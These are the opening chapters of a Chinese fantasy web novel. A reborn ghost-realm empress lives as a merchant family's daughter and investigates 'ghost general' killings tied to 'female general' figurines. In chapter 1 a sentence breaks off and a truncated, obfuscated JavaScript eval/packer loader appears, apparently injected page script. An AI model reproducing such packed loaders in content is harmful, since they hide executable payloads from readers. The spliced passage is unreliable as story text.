《女帝重生六百年后》 1. 女将军(一)[修] 梦醒…… 六百年前,神鬼两域的大战,死伤无数。鬼域战败,女帝壬湮遭受神域和凡世的联合绞杀,就此陨落。 有人说,壬湮神魔躯,是杀不死的,她一定还会卷土重来;也有人说,无人能在神使以命换命的追魂绞杀下存活,就连壬湮女帝也不会例外。 所有人都认为鬼域败了,壬湮败了,什么都没得到。可是谁都没想到,她要的不多,已经得到了。 壬湮确实死了,魂魄灰飞烟灭,确实无人能在追魂绞杀下存活。 那,活下来的是谁呢? 很累,很疲惫,好想停下来休息一下。可是不能,“追魂”不知道哪一天便会找到这里,壬湮生出了想要放弃的念头。 可是,不甘心呐,好不甘心,她的仇敌一定躲在看似圣洁的神域或是肮脏的鬼域里的某个角落等着她的死讯,她得爬起来。 —————————— 东遗,大靖历558年,永昼城,深夜。 坊市已罢,整座城已经陷入幽深的黑暗中,寂静的空气中渗着丝丝寒霜即降的气息。 “啊!对不起,父亲,父亲,为了家族,我也是不得已啊!” “希娘,都是阿娘的意思,你如何就想不开呢!希娘,希娘,你不要来找我了,是你,是你自己选择离开的!” “阿姐,那时候我还小,我根本没有能力救你!原谅我,原谅我阿姐!” “……” 世人的梦,充斥着恶。 “我这是,我这是在哪里?我这是活着,还是……死了?” 各种声音顿时冲进壬湮的脑海中。 胀,好胀,脑袋像是快要炸开一样,连日来的奔逃让她分不清如今的方向以及身处的地方。 “快,应该就在这附近。” 几个身着黑色斗篷的身影出现在街头,急切地在搜寻着什么。 “几百年未出现过这么强的梦魇力量了,听阁近日未曾来报有梦魇兽的踪迹。” “难道真的是……” “你在想什么,那女魔头六百年前就魂飞魄散了,怎么可能是她?” “好了,莫在这里争辩了,在西市那边,解决现下的事情最重要。”几人中应该是领头的人发了话,剩下的人随即止了话题。 两息的功夫,几个身影已经消失,循着目标而去。 寅时,西市。 魇气借着黑夜不断向外扩散,不断有人陷入梦魇中,痛苦挣扎。 壬湮试图控制自身魇气的外泄,但如今这副身体已经不是神魔躯,身体无法承受的魇气根本不受她的控制。 如此,肯定会吸引其他东西来。 “就是这儿了,大家四散找找看,凶兽不必留手了。”一个浑厚的男声在壬湮附近响起。 来了。 壬湮凝神聚气,仍是没有任何法力,如今最好的应对之策就是躲! 她躲在石桥下,大半身子浸在河水中,以此来掩盖一些身上的气息,同时仔细地听辨着几人搜寻的脚步声。 声音四散而去,壬湮缓缓出水,得尽快出了这几个人的搜捕范围。 “哼。”一声闷哼,脚底踩上一个软软的东西,是人。 壬湮低头看去,一名醉熏熏的男子正半倚在石边,方才那一脚明显已经让他转而清醒。 “你,你,小娘子为何深夜独自在这儿?”话音落下,男子尝试着用手撑起身子,随着他的动作,壬湮看见从他华贵的衣衫间滑出一个玉牌。 “嗯?不对,你……你是梦魇兽!”男子瞬间酒醒,甚至在凉夜中惊出了一身汗,都怪自己喝酒误事,再看周围哪还有同伴的身影。 男子猛地起身后,壬湮也看清了他玉牌上的纹样,鸾鸟衔日。 他是六神使! 壬湮先对方一步有了动作,右眼红光流转,魇之右瞳锁定眼前的男子。 魇之右瞳,壬湮女帝的绝杀技,能让人陷入噩梦中,甚至在梦中死去。 男子立时停下了所有动作,紧接着痛苦地跪坐在地上,双手不停地凭空拍打着周围。 “走开,走开,你们有什么资格来找我寻仇,不过都是些贱婢子,我可是神使!”男子明显已经陷入了梦魇中。 壬湮嫌恶地踢开男子乱抓过来的手,如今的六神使竟是些这种货色吗?不知道让当年那六个老家伙知道,是不是气得能重铸三魂七魄回来先撕了这些个后人。 即便如此,壬湮仍然没有大意。这个男人不能死在这儿,神使命感相通,不然其他五个人寻来得更快。应付一个可以,再来五个确实没有把握。 然而,她还是忽略了一点,认出她来的那一刻,男子就已经将消息传了出去。 未出两步,已经有声音朝这边赶来,壬湮不敢多逗留朝街市深处而去。 然而以她目前的身体状况根本逃不过神使的速度,而且前面貌似也有人正在朝这边赶来,马蹄的声音,他们为了抓自己居然还调动了军队。 前后夹击,腹背都有敌人,壬湮无法,闪身进入小巷中,费劲儿地翻上一家商户的二楼,躲在栏杆后想看看追自己的人什么样子。 “她跑不远的。”壬湮看着五个身着黑斗篷的身影出现在街角,应该就是剩下的神使,为首的看上去是一个老者,他应该就是长神使。 当年前任六神使献祭自己来追杀壬湮的时候,他还是小孩子,这几个神使中,应该只有他是得了前任神使亲传的。 “梦魇气息变淡了,有另一股奇怪的气息。”长神使下首的神使疑惑道。 “我也感受到了,是魔的气息!” “什么声音?” 话音刚落下。 “咚咚咚”马蹄声已经拐过街巷角,来到壬湮所在的这条街。 这是刚刚壬湮听到的军队声音,她以为对方和神使殿是一股势力,看来并非如此。 那便是有戏可看了! 一队骑兵渐渐逼近,壬湮这才看清那并非是凡世的普通军队。 骑兵个个身着银灰色金属盔甲,盔甲下却乌黑一片,看不清任何五官,而身下的马匹也全是黑色战马。 随着队伍的渐渐逼近,壬湮才看清楚,这些士兵的五官并非是因为天色黑才看不清,而是根本就没有,盔甲下居然是一副空壳子。 夜风吹来,刚刚被乌云遮住的月亮倾洒下了清冷的光,能看得见这些“士兵”的周身萦绕着一股淡淡的黑气。 是魔气!它掩盖住了壬湮身上的梦魇气息。 “鬼将!” “近期城中鬼将拦路的传闻果然不假。” “长神使,梦魇兽还追吗?” “已察觉不到她的气息了,现下的状况更棘手,老二你先去追梦魇兽的踪迹,其他人随我一起捉拿鬼将。” “是。”看二神使离开的方向,壬湮的心暂时放了下来。 此时街市上已经剑拔弩张,鬼将对于拦住自己去路的这几个人十分不满,毫不客气地策马先向几人发难。 壬湮见已经没人还有闲暇注意自己了,准备趁此机会逃走。但刚起身眩晕感便袭来,这具身体已经到了承受的极限。 完了,壬湮想自己躲逃了这么久,不会在这儿被发现吧? 失去意识前,她隐约看到一个身影疾步而来,随即她落入了一个轻柔的怀抱中。 还有谁,会救自己呢? 冬日的清晨格外安静,唯有不时的几声鸦雀声划破这份静谧。 壬湮再次醒来,外面天光已经大亮,光亮并不刺眼,但她还是不适应地闭眼缓和了一会儿。 “小烟,你醒了。”是个清脆的男声,声音中带着关切,随即一只温热的手就贴上了她的额头。 初醒的壬湮戾气还未消磨,怎容得不识得的人碰触,在男子还没反应过来时一把拉下他的脖颈,催动魇之右瞳,想要一探。 入目的是一片雾气,下沉后是一处乱石堆积的崖顶,旁边同样被看不清的雾气笼罩,雾气泛绿,实为瘴气。 壬湮知道,瘴气之下是一片与悬崖同高的森林,再远处森林的尽头有连接鬼域与凡世的虹洞。 她甚至还知道,这里以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是什么话?壬湮奇怪地看向男子,她什么时候不会说话了? 壬湮被他的举动弄得莫名其妙,自然也没有看见他双手握拳在身侧,止不住地颤抖,他的内心有什么压抑不住了。 “什么昨夜?昨夜发生了什么?你受伤了吗?快给我看看。”男子震惊过后换上了急切的神情,不似作假。 那救自己的人是谁呢?又或者那不过是一场噩梦? “你是什么人?这又是哪里?你知道我是什么人吗?我怎会在此?”壬湮问出一连串的问题后四下打量了一下她所处的地方。 一间普通的女子闺房,陈设简单,透过半开的窗户可以看见院子里一层薄薄的积雪。 “小烟,这里是永昼城戚家,我是你的哥哥戚呈啊。”言辞恳切。 “我以前是个哑巴?” “不,不是,只是鲜少同哥哥说话罢了。” 是嘛!壬湮是不相信的。 于是她掐上了灰发男子的脖子,“说,你有什么目的?” “小……小烟……”男子没有反抗,只是挣扎着拍拍她的手背。 壬湮竟奇迹般地觉得平静了不少,醒来后的戾气瞬间消散了。 而这个自称是自己“哥哥”的男子竟还有胆子凑过来,拍着背安抚着自己。 很快,壬湮终于接受了事实,她活了,在她死后的第六百个年头。 复生在了凡世,没了法力,貌似魇之右瞳的魇气也在不受控制地流散,连凡世人傍身的武功,这具身体也是一概不会的。 现在这具身体叫戚明烟,而身边这个忙前忙后的大哥叫戚呈。 但这位仙人儿般的戚姓大哥应该是个妹控,醒来后端茶倒水这种小事都不会假以下人之手。 壬湮望着铜镜中与以前大不相同的自己,也就只有这张装都不用装的无辜脸还能骗一骗涉世未深的毛头小子了,水汪汪的大眼睛好像一湾深潭,将人往深处拽。 要仔细看来,这张脸和前世的自己还是蛮像的,只不过壬湮前世修习魇术,眼角被魔气侵染常年带红,显得眼角略长,更妩媚一些。 而现在这副面容更像路边草丛中的小兔子,无辜的眉眼更清澈纯净一些。 经过一晚上的魇气释放,壬湮发现如今这副身体的梦魇之气竟所剩无几,但还是有随时再爆发的可能。 始终是个不定的隐患。 2. 女将军(二)[修] 魂回 戚家位于凡世最繁华的城池——靖国首都永昼城的西市,这里多商贾,有世代经营者,也有新驻者;而东市多显贵,多与皇城中的贵人儿们关系匪浅。 戚家三代经营镖局,算是城里头的龙头,戚家长辈白手起家,能在短时间内做到如今这份儿上,主要靠押运些别个儿家不敢押的东西,走些别个儿家不敢走的路。 戚家人丁不算稀薄,但男儿大多在外奔波,有去无回的情况也不鲜见。如今家中大哥戚呈和婶婶主持,倒也还算安稳。 年关将近,永昼城里着实热闹的很,家家户户都在为新年做准备,人人脸上都洋溢着笑容,这是壬湮从来都没见到过的场景。 最近永昼城里发生了一件有意思的大事,漠北主动提出与靖国和亲,而皇室偏偏挑了安北王齐御。 漠北蘚部公主一听是齐御,死活不肯同意,据说态度相当坚决,丝毫不顾及双方的皇家颜面,最后竟出口骂齐御是个做了亏心之事遭报应的老鳏夫。 这事儿做得大胆,不禁让壬湮为这位公主竖起了大拇指。这要是在鬼域,谁要敢指着翁裘之骂他老鳏夫,估计早就被他手里的大刀削成一片片儿的了,管你是什么九天下来的仙女公主呢。 壬湮听说这件趣事的时候正坐在巷口的马扎上翘着二郎腿儿,嘴里吃着街坊大爷大妈给孙子买的小零嘴儿,把这件事当作茶余饭后的消遣,享受着她从来没享受过的人间烟火和闲暇时光。 不过要说这安北王就不得不提他的前王妃萧氏,要说这前王妃萧氏,就不得不提前王朝,还是大靖国。 前朝往事,王朝更迭,大多就那点儿破事儿。靖国建国几百年,皇姓换过三次,靖国这个称号雷打不动,永昼城也永远是最繁华的城池。 这前安北王妃萧氏所在的萧家,便是这前皇室的追随者。萧家世代从武,保卫靖国的山河,同样也掌握着令人艳羡的绝对兵权。 而这齐家原是异姓王,一直低调处事,齐御和萧氏长女萧梦姜之间也算是佳偶天成,夫妻恩爱,两人曾一起驻守过漠北边境,萧梦姜出身将军府,跟随齐御上过战场,曾有女将军的美名。 但谁都想不到一向低调的齐王府居然包藏祸心,两难之中的萧父自尽,留下萧梦姜和萧家幼子。 恩爱夫妻一夜间变成仇人,刀剑相向,结果很显然,萧氏输了。 自古成王败寇,齐氏称王,萧氏没落。许是念在夫妻一场的份儿上,齐御向新皇保全了萧家幼子,但实权全无,只做闲散公子。 故事本该到这里就结束了,接下来该是齐氏为靖王朝谱写辉煌。可最近几个月这永昼城表面祥和,暗处却不太平。 具体什么不太平法儿,吃着给孙儿买的果脯的老大爷向壬湮招招手,壬湮顺势将耳朵凑过去。 “这晚上啊,可千万别出门,有鬼将拦路,吓人得紧啊!”大爷真挚的眼神,好似自己亲眼见过。 “这鬼将是何模样?” “小姑娘家家的问这么详细做什么,不怕晚上做噩梦呐!”壬湮属实是想给这小老儿来一下子,这话题不是他挑起来的嘛!“这模样我自然没见过,不然咱这一把老骨头的确实受不住,不过听说可是阴森恐怖了,见过的人魂儿都被抽走了。”得,等于白说。 壬湮心想,你没见过,我可是见过的,这鬼将应该就是自己那晚上见到的骑兵军队。 不过就算是在妖魔横行的鬼域,她也未见过这种空壳子骑兵,不然就是自己没见过的盔甲修炼成了精怪。但若是以魔气驱使也不是不可能,但想要控制大批军队是非常消耗魔力的。 “那这和那个王爷有什么关系啊?”还是换个问题吧。 “那场面啊很恐怖的,怎么形容呢……”这是空耳大爷啊,真是快别形容了! “你这老儿胆敢……”声音突然顿住,这是凡世,她也不是女帝了,忍一忍,忍一忍。 要不是怕吓着这小老儿,壬湮真想转过来给他讲讲,要再讲讲其他更恐怖的场面也不是不可以。 “那这和齐御有什么关系啊?”壬湮压下情绪又问了一遍,还好大爷自顾自地说,并未注意她刚才的变化。 “嘘!皇室名讳,不可直呼。”不直呼你会理我吗? 哦,凡世讲究还挺多,壬湮继续探探耳朵。 记得她还是鬼域女帝的时候,那些个老家伙整天“壬湮壬湮”地叫她,当初她也应该给他们立立规矩,让他们尊称自己“女帝大人”什么的。 “这也不知是从哪儿传来的,说是要想一条街安生,可在街头巷尾摆一尊女将军的小木雕,连拜三晚,可保一段时间的安生。”老大爷的声音打断了壬湮飘走的思绪。 “这能有人信?”壬湮瞪着大大的眼睛适时提出疑问,她还没见过一个小小的木雕就能治得住魔气的。 “嘿,别说,还挺管用!这东市人多达官显贵,护院武功高强且都会招一些会术法的道士,自是不在意这些个,可咱西市多经商,免不了夜间倒腾货物之类的得外出,试试也无妨。” “你试过?”看着大爷表情一愣,随即神神秘秘打袖口中掏出一物塞到壬湮怀里,“小姑娘咱俩投缘,送你一个,回头让家里人试试不就知道了。” 晚饭时间,壬湮一直用手摸索着女将军的雕像。其实这些个期期艾艾,恩恩怨怨的故事她都已经听烦了,还在鬼域的时候,大哥经常给她带这些凡世的话本,套路她都背熟了。 壬湮更想从这小小的雕像中看出一丝丝的魔气或者神气,能制住鬼将的定非凡物,然而她很失望,什么也没有,不知是这雕像本来就是块普通木头,还是她现在是木偶躯,没有法力的问题。 一旁的戚呈见壬湮一直把玩木头雕像,便问:“怎么,喜欢这样的小玩意儿?” 壬湮随意一应,将雕像一搁,巴拉起饭菜来。该说不说,凡世的美食真是一绝,有这等美事可享,还想成什么神魔啊! 戚呈无奈摇头,只在一旁递水递手帕。 令壬湮万万没想到的是,昨天敷衍的回应,换来的是今天满满一桌子的小木人儿,将衣束发,虽不是活物,却独有一分英姿。 可是这满满一桌子女将军中为什么有一个男雕,神似她这位站在旁边的好哥哥。 不是,您这一脸求表扬的表情是为哪般啊? 壬湮无视了这一桌的小木雕,包括她的“木雕哥哥”。 “哥……哥,你近几日夜间可曾外出过吗?”这声“哥哥”叫起来着实别扭了一些,毕竟从小到大她只叫过甲纥哥哥。 戚呈微微点头,好似猜到了她接下来要问什么。 “那你遇到过鬼将吗?”壬湮十分好奇这些鬼将是她熟知的那些吗,不过不太可能,毕竟当年那场大战,她的部下死伤可是不少。再说当年落败,这几百年间定也会受不少打压。 “你认为我遇到过鬼将还能在这里给你寻木雕吗?”说的也是,戚呈再怎么武功高强却也是个凡人,遇到鬼将不死怎么也得扒层皮。 “那,这鬼将到底是种什么东西啊?”比起刚刚醒来来到凡世的壬湮,戚呈或许知道得多一些。 “据说是前朝战争中死去的将士,大多是未找到故土的,每到夜晚,魂魄便在永昼城中游荡。”戚呈耐心解释道。 原来这就是凡世所说的“鬼”,此鬼非彼鬼,没想到凡人的魂魄离体比束缚在那脆弱的躯体中强大得多了。 只是那附在鬼将周身的一抹魔气很是让她在意,虽然很淡,但不至于能够轻易被忽略。 但背后之人无论是敌是友,想要安生的日子势必要谨慎一些。 —————————— 永昼城的家家户户在一场冬雪中终于盼来了新年,壬湮坐在戚家的大圆桌前,吃着她第一顿真正意义上的团圆饭。 戚家青年一辈大多在外奔波,今年同往年一样,桌边坐的年岁最长的一位是戚氏镖局的创立者,戚鸿震。 左手边是现主持家中中馈的婶婶风氏,右手边是戚家三小姐戚敏,剩下就是家中的年轻一辈。 戚鸿震原非永昼城人,十五岁时从南域北上,白手起家,可以说是靠着卖命十年换来了戚氏在西市中的一席之地。 时年二十五岁的戚鸿震娶了东市风家二女儿风蕙,永昼城风家,世代为官,权利不轻不重,能在朝中说上一两句话,却是永昼城六大百年家族之一。 娶了风家女儿的戚鸿震可以说是让戚家在永昼城彻底站稳了脚跟,二人共育有两儿一女,大儿子戚长申也就是戚呈和戚明烟的父亲,在一次外出做生意时和夫人邱氏不幸殒命。 二儿子戚长庚正在外奔波,据说能赶在邺火节之前回城团聚,妻子风浣,乃风氏远亲。二人育有一子,名戚黎,年长戚明烟一岁。 小女儿名戚敏,戚老爷因夫人走的早,不舍小女儿远嫁,便招了上门女婿,也是同戚鸿震一般北上的青年,如今也是在外走镖,倒是戚三小姐稳坐在戚老爷子右手边。 壬湮复活以来和这位姑姑能说上话的时间着实是少,虽非真正意义上的出身名门,戚三小姐身上却有种贵家小姐身上才有的贵气,行事说话端端正正,大方得体。 壬湮看看略有些豪爽的戚老爷子,一看戚敏就是受风氏影响更多。戚敏并无所出,所以戚明烟目前是家中最小的孩子。 戚老爷子说了几句新年祝福的话后,家宴也正式开始,壬湮迫不及待地将筷子伸向一桌子的美味,说来重活一世,凡世最吸引她的还是这些个吃食,相较于她之前在鬼域中众鬼争抢的草食不知好多少。 壬湮想起之前见过最低等的鬼为了吃上一口饭,不惜挣得头破血流,而凡世的人类那样渺小,不仅占着这世上最好的陆地,还独享着这世上最美好的阳光。 她曾向大哥甲纥说出心中的疑问,凭什么呢? 凭什么人类那样渺小,却轻而易举地拥有我们不曾拥有的东西。壬湮记得大哥当时的回答是他们值得,她当时不明白,所以她向凡世发动了战争,为她的子民争取阳光。 可是当永夜城被第一束阳光照射的时候,壬湮清楚的看到她的子民捂住双眼,有的甚至躲到暗处。是啊,他们适应了鬼域中的暗无天日,心中再向往光,又怎会做到真正自由地活在阳光下呢。 一阵炮响,壬湮下意识握紧拳头,原来是凡世的人为了庆祝新的一年来临而燃放的烟花。 鬼域也有很多这种东西,但它们大多被做成了照明的信灯,或是可以伤及人性命的弹丸,在鬼域是见不到这样美的事物的。 壬湮有一瞬间仿佛理解了甲纥的话,凡世人值得,他们很会制造美好,或许这一遭凡世行,她能理解甲纥当初的话,有更好的答案。 回过神来的壬湮被噎了一下,迎着戚呈关切的目光,壬湮竟有些不好意思的感觉,毕竟这可是占着人家宝贝妹妹的身体呢。 不过壬湮发现在戚家,除了戚呈之外,其他人好像跟戚明烟都不是很熟络,据说是因为戚明烟从小体弱, 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“烟妹妹这多年未曾细细打量,如今细看真是出落得如此美了,比起城里那些贵家小姐也是不差的。”戚黎这嘴和抹了蜜似的,定是骗过不少无知少女。 “黎哥哥也是风流倜傥,样貌一等一的好。这一双桃花眼不知能迷倒多少贵家小姐,不知谁能有幸成为我的好嫂嫂。”壬湮知道,凡世讲究个礼尚往来。 “噗。”这笑声不合时宜,壬湮转头看着自家的好哥哥,明明是互相恭维的时候,显得自己像是话里藏话,有意嘲讽。 “哎呦,我的好妹妹,你就别对着大哥挤眉弄眼的了,原来烟妹妹竟是这样有趣,不似大哥那般是个闷葫芦啊,有趣的紧。不过我这比起大哥来,烟妹妹觉得哪个更好看一些呢?” 戚黎眯着一对狐狸眼倒是让壬湮想起了鬼域昶河那家伙,惯会挑事,擅长煽风点火,像是修炼千年的狐狸成了精,直接叫戚狐狸算了。 “二弟有这闲工夫不如想想怎么应付那霍姑娘吧!”戚呈这真是打蛇打七寸直戳要害。 说起这位霍姑娘还是戚黎自己惹下的桃花债,戚黎虽喜貌美的姑娘,见了总想撩拨几句,可也不会真动什么歪心思,照他的话来说就是,还不想被哪个姑娘家束缚,他是大家的。 壬湮真是不敢想象人怎么可以长两张脸皮,可就是有这样一位霍姑娘,西市霍香楼掌柜的小女儿霍宝妗,那可真是长了三张脸皮。 因长了一张十分可爱的脸而不幸就被二皮脸戚黎调戏了,巧的是这一眼就让霍家小姑娘给看上了,死活要嫁于戚黎,见戚家未应,更是扬言要反过来来戚家提亲。 一生游走花场,一世英名的戚黎真是怕了这个小祖宗,已经有月余未曾出过戚家大门了。 这么说来壬湮刚才那句话听上去确实像在嘲讽呢。 “大哥真是说出来的每句话都这样不讨喜,还是烟妹妹心疼大哥些。”戚黎转头看上壬湮,壬湮也看向这位二哥,不知他是从哪儿得出的这个结论。 壬湮在他的注目下不自觉地咽下口水,混着刚刚吃过的风香鸡香料的味道,突然有种不详的预感。 说来就来,果然。 “明个儿年初一,街上定是热闹,不如二哥哥带你出去玩玩怎么样?”壬湮一脸我就知道的表情,是你想出去,拉我挡箭呢吧! “我自是可以自己……” 话还没说完,感受到被身旁的戚呈扯了一下,“也可以,小烟身体好了之后确实出门的时间不多,定也是憋坏了,明日出去散散心也不错。”戚呈柔柔地看着身侧的壬湮,似是担心她的安危,但壬湮觉得跟戚黎一起出现在街市上比自己出去更危险呢! “好,就这样说定了。” 喂,求求你们问问我啊,难道我不是当事人吗?壬湮无奈地看着两人,好吧,她也想出门看看,那就这样说定了。 但三人显然忘记他们今晚守岁一夜,第二日还能不能有精神出去逛上一逛。 第二日到底是未曾出门去看看,不是因为几人起晚了,而是因为永昼城在昨夜,也就是大年夜出了件大事。 女将军回魂。 新年之际回调的平南将军冯康和城中主事的六神使之一的郭信死于家中,郭信之子疯了,疯言疯语中大多是“女将军回来了,大家都得死”之类的。宫中那位震动,据说连夜招了安北王齐御进宫。 现在整个永昼城人人自危,完全没了新年的气息。 壬湮回想那晚对那个神使使用的魇之右瞳,确定不足以杀死一个神使,而且这已经过去了数日,要传死讯早便应该传出来了。 全城都在传是鬼将行凶,昨晚杀了人。战场上枉死的将士很多,往上几年甚至有死于内部争权的萧家军,大家纷纷猜测或许这些鬼将或许就是心有不甘的萧家人。 壬湮也觉得奇怪,死去的凡世人竟可以变成如此厉害的东西,一夜间轻易杀死一个神使,还可以悄无声息地全身而退。 要知道当年她手底下的几员大将与六神使才打平手,这更能说明这一代神使已大不如前。 壬湮未能细想,突然而来的疲惫打断了她的思考。如今身体娇弱,昨夜又熬了大半夜,最后实在坚持不住睡了过去。 壬湮着了小榻便睡了过去,未曾看见戚呈不请自入,也未曾察觉有人为自己输送着灵力。戚呈见熟睡中的脸庞卸去了疲惫,舒展了眉宇,待了片刻便离去了。 不曾注意到身后本来已经转好的壬湮突然紧皱眉头,像是在经历极度痛苦的事情。 3. 女将军(三) 猛然间,眼角抽痛起来,壬湮隐隐觉得修炼梦魇之瞳伴随而来的眼疾又要发作。这段时间的安稳日子居然让她忘却了自己的老毛病,还以为重生用了新的身体,眼疾也随之消失了,看来是她想的太美了,寻找梦魇左瞳的事儿还得继续。 看来有必要借用一下戚家的“风穴”了。是的,戚家除了运镖,还会做一些贩卖消息的生意。 因着这不是戚家的主业,消息需要隐蔽的地方太多,所以知道戚家还做这个的确实不多,能找上门做这生意的也就不多。但凡能找的来,要么是想要知道什么重要消息,这价钱自然低不了;要么是手中握着什么重要的消息,想换取一笔可观的报酬。无论是哪一种,都是戚家的贵客。 而今天的戚氏镖局就来了这样一位贵客,赶巧着让出来找消息的壬湮碰个正着。拦下想去主家通报的掌柜,壬湮自作主张地坐在了屏风后。 透过薄薄的一层屏风,壬湮隐约能看得出来人是一个男人,身材不是很魁梧,缩在黑色的斗篷里显得,像一个球墩儿。 “咳,球……贵客远来,想易什么消息?”壬湮从他身上闻到了一股熟悉的味道——海腥味。离永昼城最近的东海也要几千里地,如果短时间内去过东海又返回的人身上不会有这么浓的海腥味,而且此人却不觉有异,显然是常居海上之人。 “不知姑娘可做得主?”声音略有些粗哑,听得出未有心隐藏,不似疑心之人,可见只是单纯不相信女人可做得这买卖! “客人尽管将要求说来,今日绝无可能有第二个人来做这买卖。”如今揍人不行,唬人的本事还是有点的。 “这……我今日来是想要贵镖局帮我运一样东西。”黑球墩儿犹豫之下开口道。 “只是押运东西?”定有其他。 “是这样,我还想买一个消息,但是我没钱,我想用另一个消息来换。” “哦?贵客可是让我们又做事又供消息的,只一个消息就打发了我们?”亏本买卖可做不得。 “不如掌柜听我说完。”“姑娘”改口“掌柜”,还算有点眼力见儿。 “不如贵客想好再来。”讨价还价在壬湮这里没有可能,她是不是听见了咬牙的声音? “自是亏待不了掌柜,掌柜看这一物值否?”说着屏风旁伸出一只手,掌心向上托着一块牌子,不是寻常的金牌和玉牌,更像是某种贝壳打磨而成。 壬湮识得此物,是南洋鲛人一族的【玄贝令】,此令可自由通行于鲛人领地除琞宫之外的任何地方,包括壬湮想去的琼海阁。着实令人心动,不过还是要沉住气,说不定他要交换的消息会更令人心动。 “既然贵客如此有诚意,不妨说说需要我们怎么做。” “我想买一个关于鲛人族继承人下落的消息,当然掌柜的现在可能没有消息,但我相信以戚氏镖局的能力不成问题,事成之后我可以梦魇左瞳的下落为交换。除此之外我还想请你们帮我从漠北运一批货来永昼城,这块令牌就是我的报酬。” 果然,令人心动呢! “自是可以,不如贵客先让我知晓是何货,如何?”镇定,淡然,尽管壬湮现在很想舞一段。 “掌柜请看。”说着屏风旁又递过来一样东西,又是熟悉之物,最近永昼城闹得沸沸扬扬的“女将军”!不同的是之前的“女将军”都是纯木质,未加任何东西,现在壬湮手中的“女将军”衣服被染了红色,眼睛由睁开改为了闭上,壬湮甚至从这小小木雕上感受到了熟悉的魔物气息。 “运这小小的木雕?”怕不是这么简单。 “待镖局的人到了漠北定沙城,会有人将整十箱货物交给你们。”果然,壬湮暗暗咋舌,想要在高手云集,并且有六神使,哦,现在是五神使守护的永昼城,神不知鬼不觉地将十箱“女将军”运进城,还是在这样的风口上,属实困难了些。 “好,成交。”壬湮还是答应了,实在是他给的太多、太诱人了! “那就静候掌柜的佳音了,告辞。”黑影站了起来,也没多高,匆匆离开了内院。 壬湮疾步来到屏风前,桌上玄贝令安静地摆在那儿,一个死物,轻轻拨动着壬湮本来就不平静的心。 看来,今天这事儿很快就要到戚呈的耳朵中了,得好好想想怎么说服自己的这位好大哥去完成这些事。 壬湮本想得费一番说辞才能说服兄长接下这一单子生意,没想到戚呈只问了问交换的东西便点头同意了。 当日下午,壬湮便收拾好包袱等在兄长的院子里,只见戚呈无奈的抚了一下额头朝自己招了招手。壬湮疑惑地走到他面前,突然手中被塞了一包糕点,“怎还是个急性子,小烟,此去凶险,你确定你要一起去?” “毕竟是我接下来的生意,一起去才更加放心。” 戚呈多盯了她两秒钟,知想让她放弃绝不可能,这一趟也不会仅仅是押镖这么简单。 “你且先等一等,为兄去清点人数,咱们就出发。” 一个时辰之后,戚家人马终于在壬湮殷切的眼神儿下出发了。 漠北之地与南洋鲛人领地隔天深渊一样,分部落统领,漠北本是七族部落分地域统治,可由于漠北之地生存环境恶劣,最近百年北部冰层渐渐南压,七部生存压力逐渐变大,为了争夺有的部族挑起战争,有的部族选择联姻,如今只剩下三部。 近几年漠北人甚至打起了南边大靖朝的注意,这次漠北的主动联姻就是一个例子。 说起这即将来联姻的漠北公主,壬湮也悄悄做了些打听。 漠北公主原只是现存三部之一的蘚部族长呵汗尔·轲泰的女儿,据说七岁时曾走丢,五年之后才寻回,本名阿汗儿·巴雅尔。 至于为何成为了漠北的公主,据说是这次和亲本没有世族家的女儿想要嫁入大靖,是这位阿汗儿小姐自己提出想要远嫁,至于为何听到和亲人选是齐御时神色大变,这就不得而知的,许是觉得这位丧妻的“老王爷”着实老了些,细细算来确实大了十多岁,只是他那张不见老的脸真是让人容易忘记他的年龄。 随着马车的颠簸,壬湮渐渐合上了双眼,睡 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原来已经过了永昼城,到了涂城。说来永昼城径直往北走的话与漠北之间只隔了两座城池,就是涂城和上关城。只不过从上关城通关再向北经过天阙山之后,还要向北再行百余里才能到定沙城。 不过刚刚戚呈说什么?如果想去玩一玩?现在要紧的难道不是生意吗?天底下的哥哥难道都对妹妹这么好嘛,她可是听说凡世有些地方是历来有重男轻女的习惯的,比如说女将军萧梦姜,据说最开始带兵打仗遭到了好多驻守边关将士的反对,到最后论起战功和民心来说都是萧氏更盛,不知为何都成了齐王爷的功劳。 这些都是最近壬湮在永昼城里听到的,这几日女将军一案风头正盛,明面上大家谁都不敢议论,可是谁也没那大本事把百姓们的闲言碎语压住。 壬湮虽然觉得其中消息半真半假,前几天还当个乐呵听听了事,可如今这案子和鲛人族扯上了关系就不能不多留一份心思了。 “哥哥,还是做生意要紧些。既然已经到了,咱们赶紧下车吧。”说着壬湮就要起身下车,忽然间又被戚呈一把拉住,壬湮眨眨双眼不明所以地看向他。 “你刚睡醒,夜间风凉,把这件披风披上再下去不迟。” 有道理,这身子毕竟娇弱。 想着壬湮便扭头去找自己的披风,却有一双手先她一步将披风拿来,环过她的后背为她披上,并且温柔地为她系上。 当真是细心,壬湮也不是没有被女婢伺候穿衣过,但两者感觉并不相同,究竟哪里不同,她也说不上来。 在鬼域时她身边也有女婢伺候,但鬼域的女婢和凡世的又有所不同,鬼域的女婢害怕却也喜欢追随强者,凡世的女婢却害怕那些瘦胳膊瘦腿的所谓的“主人”。 当年称帝时追随自己的女婢也不在少数,更甚者有些女婢会想爬上自己的床,啧啧,都已经不在乎自己是男是女了。 想到这里壬湮不禁轻笑出声,正好对上戚呈望过来疑惑的眼神,赶紧收笑。她知道两者的不同了,那些女婢将欲望都写在脸上,而她现在面对的可是犹如谛仙般的人儿,可能赏心悦目的人伺候人都赏心悦目吧! 4. 女将军(四) 第二天,戚家队伍早早启程,一日的功夫已经到达了天阙山脚下。只是到达时已近傍晚,而天阙山又多有野兽出没,一队人马只好决定先在山脚下休息,天亮之后再出发。 坐在戚家镖师搭好的帐篷外,壬湮忍不住向戚呈问出了心中的好奇:“哥哥,女将军一案牵扯到神使,其中利害关系牵连旧朝,你为什么还答应我接此镖呢?” “那人找的很准,永昼城大大小小的镖局不少,比我们年岁久的镖局也有,但这单生意除了戚家应该是无人敢接了。” “为何?戚家难道是还有什么我不知道的隐藏势力吗?” “因为啊,咱们上边有人!”哇去,这是能从谪仙嘴里说出来的话吗?原来你是这样的戚呈啊! “原因你日后自会知晓,不过这一趟镖估计不会顺利地运到永昼城,你收的那块令牌估计得厚着脸皮硬留下了。” 